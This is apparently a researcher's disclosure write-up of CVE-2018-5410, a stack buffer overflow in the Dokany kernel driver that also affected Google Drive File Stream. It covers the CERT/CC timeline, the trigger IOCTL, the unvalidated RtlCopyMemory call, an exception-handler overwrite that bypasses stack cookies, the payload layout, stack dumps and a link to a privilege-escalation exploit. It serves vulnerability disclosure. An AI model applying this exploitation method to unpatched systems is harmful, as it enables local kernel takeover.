Dokany/Google Drive File Stream Kernel Stack-based Buffer Overflow Vulnerability

Last November I reported a kernel vulnerability to CERT/CC for their help in coordinating the disclosure as it impacted dozens of vendors including Google Drive File Stream (GDFS).

The vulnerability was a stack-based buffer overflow in Dokany’s kernel mode file system driver and has been assigned cve id of CVE-2018-5410. With Dokany you can create your own virtual file system without writing device drivers. The code is open source and is being used in dozens of projects listed here. A handful of products were tested and are all shipped with Dokany’s compiled package with the exception of GDFS where parts of the code have been changed and signed by Google.

Triggering the bug
Connecting to the device handle “dokan_1” and sending inputted buffer of more than 776 bytes to IOCTL 0x00222010 is enough to corrupt the stack cookie and BSOD the box.

kd> !analyze -v
*                                                                         *
*                        Bugcheck Analysis                                *
*                                                                         *
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
Arg1: c0693bbe, Actual security check cookie from the stack
Arg2: 1c10640d, Expected security check cookie
Arg3: e3ef9bf2, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
SECURITY_COOKIE:  Expected 1c10640d found c0693bbe

Checking the source code to pinpoint vulnerable code was found to be in notification.c where RtlCopyMemory function’s szMountPoint->Length parameter is not validated

RtlCopyMemory(&dokanControl.MountPoint[12], szMountPoint->Buffer, szMountPoint->Length);

The vulnerable code was introduced from the major version update which was released on the 20th September 2016.

Below is the timeline where we can see the maintainers of Dokany were very efficient in fixing this bug.

30th November 2018 – Submitted on CERT/CC online form
03rd December 2018 – Received acknowledgement of submission
08th December 2018 – Updated Dokan code committed [link]
18th December 2018 – Dokan change log [] [link]
20th December 2018 – Compiled version released [link]
20th December 2018 – CERT/CC publish Vulnerability Note VU#741315 [link]

So what happened to Google?
Well it would seem Google have kept quiet about this bug and silently fixed it without any publication. The only url I found on GDFS release notes is here where the last update was on the 17th October 2018 on version 28.1. It was just out of curiosity I had downloaded GDFS on the 28th of December only to discover the vulnerability had already been patched. The patched versions are:

Software : GoogleDriveFSSetup.exe
Version  :
Signed   : 17th December 2018

Driver   : googledrivefs2622.sys
Version  : 2.622.2225.0
Signed   : 14th December 2018

The last vulnerable version I tested was:

Software : GoogleDriveFSSetup.exe
Version  :
Signed   : 13th November 2018

Driver   : googledrivefs2544.sys
Version  : 2.544.1532.0
Signed   : 27th September 2018

CERT/CC vulnerability notes is still flagged as being affected

GDFS driver filename, version and handle change in each update. Here is a list of some previous vulnerable versions.

Driver filename Driver version Device handle
googledrivefs2285.sys 2.285.2219.0 googledrivefs_2285
googledrivefs2454.sys 2.454.2037.0 googledrivefs_2454
googledrivefs2534.sys 2.534.1534.0 googledrivefs_2534
googledrivefs2544.sys 2.544.1532.0 googledrivefs_2544

Exploiting the bug
Since the vulnerability is a stack-based buffer overflow compiled with Stack Cookie protection (/GS) which is validated before our function is returned controlling the flow of execution using the return address is not possible. To bypass cookie validation we need to overwrite an exception handler in the stack and then trigger an exception in the kernel there by calling our overwritten exception handler. This technique however only applies to 32-bit systems as when code is compiled for 64-bit the exception handlers are no longer stored on the stack so from “frame based” has become “table-based”. For 64-bit the exception handlers are stored in the PE image where there is an exception directory contains a variable number of RUNTIME_FUNCTION structures. An article posted on OSRline explains it well. Below shows the exception directory in 64-bit compiled driver

In order to exploit on 32-bit OS after the exception handler has been overwritten with our address pointing to our shellcode we need to trigger an exception. Usually reading beyond our inputted buffer would do it as it be unallocated memory after setting up our buffer using apis such as CreateFileMapping() and MapViewOfFile(). Unfortunately this is not possible as the IOCTL used 0x00222010 is using “Buffered I/O” transfer method where the data is allocated into the system buffer so when our inputted data is read its read from the system buffer thus there so no unallocated memory after our buffer.

For Dokany driver there is still a way to exploit as after the overflow and before cookie validation it calls another subroutine which ends up calling api IoGetRequestorSessionId(). One of the parameters it reads from the stack is the IRP address which we happen to control. All we need to do is make sure our IRP address points to an area of unallocated memory.

As for GDFS Google have made some changes to its code so the api IoGetRequestorSessionId() is not called and I couldn’t find any other way to produce an exception so just ends up producing BSOD. The last thing to mention is that the vulnerable subroutine is not wrapped in a __try/__except block but a parent subroutine is and thats the exception handler being overwritten further down the stack. A minimum inputted buffer size of 896 bytes is need in order to overwrite the exception handler.

2   bytes   – Size used by memcpy
2   bytes   – Size used to check input buffer
772 bytes   – Actual data buffer
4   bytes   – Cookie
4   bytes   – EBP
4   bytes   – RET
4   bytes   – Other data
4   bytes   – IRP
96  bytes   – Other data
4   bytes   – Exception handler

Stack layout before and after our overflow

a1caf9f4  00000000
a1caf9f8  fcef3710 <-- cookie
a1caf9fc  a1cafa1c
a1cafa00  902a2b80 dokan1+0x5b80  <-- return
a1cafa04  861f98b0
a1cafa08  871ef510 <-- IRP
a1cafa0c  861f9968
a1cafa10  871ef580
a1cafa14  00000010
a1cafa18  c0000002
a1cafa1c  a1cafa78
a1cafa20  902a2668 dokan1+0x5668
a1cafa24  861f98b0
a1cafa28  871ef510
a1cafa2c  fcef3494
a1cafa30  86cd4738
a1cafa34  861f98b0
a1cafa38  00000000
a1cafa3c  00000000
a1cafa40  00000000
a1cafa44  00000000
a1cafa48  00000000
a1cafa4c  871ef580
a1cafa50  861f9968
a1cafa54  00222010
a1cafa58  c0000002
a1cafa5c  861f9968
a1cafa60  861f98b0
a1cafa64  a1cafa7c
a1cafa68  a1cafacc
a1cafa6c  902b2610 dokan1+0x15610  <-- Exception handler

kd> dps a1caf9f4
a1caf9f4  41414141
a1caf9f8  42424242 <-- cookie
a1caf9fc  41414141
a1cafa00  43434343 <-- return
a1cafa04  41414141
a1cafa08  44444444 <-- IRP
a1cafa0c  41414141
a1cafa10  41414141
a1cafa14  41414141
a1cafa18  41414141
a1cafa1c  41414141
a1cafa20  41414141
a1cafa24  41414141
a1cafa28  41414141
a1cafa2c  41414141
a1cafa30  41414141
a1cafa34  41414141
a1cafa38  41414141
a1cafa3c  41414141
a1cafa40  41414141
a1cafa44  41414141
a1cafa48  41414141
a1cafa4c  41414141
a1cafa50  41414141
a1cafa54  41414141
a1cafa58  41414141
a1cafa5c  41414141
a1cafa60  41414141
a1cafa64  41414141
a1cafa68  41414141
a1cafa6c  000c0000 <-- Exception handler which now points to shellcode

To recover we return to the parent subroutine.

a1cafa70  00000000
a1cafa74  00000000
a1cafa78  a1cafa94
a1cafa7c  902a3d4a dokan1+0x6d4a
a1cafa80  861f98b0
a1cafa84  871ef510 
a1cafa88  0000000e
a1cafa8c  d346f492
a1cafa90  871ef580 <-- before ebp, recover here after shellcode execution
a1cafa94  a1cafadc
a1cafa98  902a3a8f dokan1+0x6a8f
a1cafa9c  861f98b0
a1cafaa0  871ef510
a1cafaa4  fcef3430
a1cafaa8  86cd4738
a1cafaac  861f98b0
a1cafab0  00000000
a1cafab4  871ef510
a1cafab8  00000001
a1cafabc  c0000001
a1cafac0  0101af00
a1cafac4  a1cafaa4
a1cafac8  871ef520
a1cafacc  a1cafbc0
a1cafad0  902b2610 dokan1+0x15610
a1cafad4  cd0e6854
a1cafad8  00000001
a1cafadc  a1cafaf4
a1cafae0  82a8c129 nt!IofCallDriver+0x63
a1cafae4  861f98b0
a1cafae8  871ef510
a1cafaec  871ef510
a1cafaf0  861f98b0

The exploit can be downloaded from here [zip] and the direct link to the vulnerable package used from Github [exe]. The zip file only contains exploit for Windows 7 32 bit OS along with code to trigger BSOD on earlier GDFS 32/64 bit versions.

Note the exploit is not perfect as in once an elevated shell is spawned the parent process takes around 7 minutes before returning to the prompt. Most likely the recovery part of the shellcode needs a bit of work. Also for some strange reason the exploit only works when the debugger is attached and I just couldn’t figure out why. One observation I noticed was that the shellcode buffer becomes unallocated so might be some timing issue. If you have any ideas do please leave a comment.